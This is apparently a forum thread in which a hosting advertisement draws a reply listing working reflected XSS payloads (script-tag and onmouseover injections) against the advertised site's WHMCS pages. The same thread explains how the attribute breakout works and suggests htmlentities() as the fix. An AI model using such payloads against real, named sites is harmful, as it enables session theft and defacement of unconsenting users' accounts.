Anyone on here looking for really cheap and really good web hosting?
Hey guys. My buddy "Romes" has had Web Hosting services for quite some time now. I usually help him on and off but I am helping him get more clients now. I am just interested in knowing if there is anyone who wants to start a good cheap site. Well the link is currently tfbgaming.biz. The site is TFB Hosting its just the domain we had, tfbhosting.biz was spoofed or something.
There are quite many XSS vulnerabilities in this site :right:
markuphttp://www.tfbgaming.biz/whmcs/cart.php?a=add&domain="><script>alert(123)</script>
OR
markuphttp://www.tfbgaming.biz/whmcs/knowledgebase.php?action=search&search=wawawa%22%20onmouseover=%22javascript:alert(123)
Hover the search link in the upper right corner on this page
OR
markuphttp://www.tfbgaming.biz/whmcs/downloads.php?action=search&search=wawawa%22%20onmouseover=%22javascript:alert(123)
Hover the search link in the upper right corner on this page
OR
POST data: domain=%22+onmouseover%3D%22javascript%3Aalert%28123%29&ext=.com&code=```
And hover the search box
chronicburst wrote: And if someone had this information they couldnt do much could they?
Except from stealing cookies and login details and using them for editing other people's sites, adding phishing frames, keylogging users on the site using XSS Shell, defacing pages and a bunch of other harmless things, no they couldn't do much :D
Go on and ignore it, XSS never hurt anyone.
chronicburst wrote: Well as I stated earlier I never took time in to learning of the XSS yet. So if anyone here can point me into the right direction to fix thes complications.
I'd recommend using the PHP function htmlentities() on the variable before printing it ;)
cis_slayer wrote: why is it you have to include "> and why doesnt it do letter?…
Scenario: You search for DOG. In the result page you can read this: <form method="post" action="/whmcs/cart.php?a=add&domain=DOG">
Now how to escape the form action thing? Easy! <form method="POST" action="variable value"> so all we have to do is make it think it has reached the end of the action URL value by inserting "> and all text after it will be executed as HTML (or for example javascript…) We use for example DOG"><script>alert(123)</script> and it outputs
<form method="post" action="/whmcs/cart.php?a=add&domain=DOG"> <script>alert(123)</script> ">
So, you include "> in order to make it to break out of for example text boxes, form actions etc. You can escape text fields by inserting </textarea> and titles by inserting </title> etc ;)
read up through there, great place to learn really all the basics you should need, from there just go to the developers websites forums or google the language for nice tricks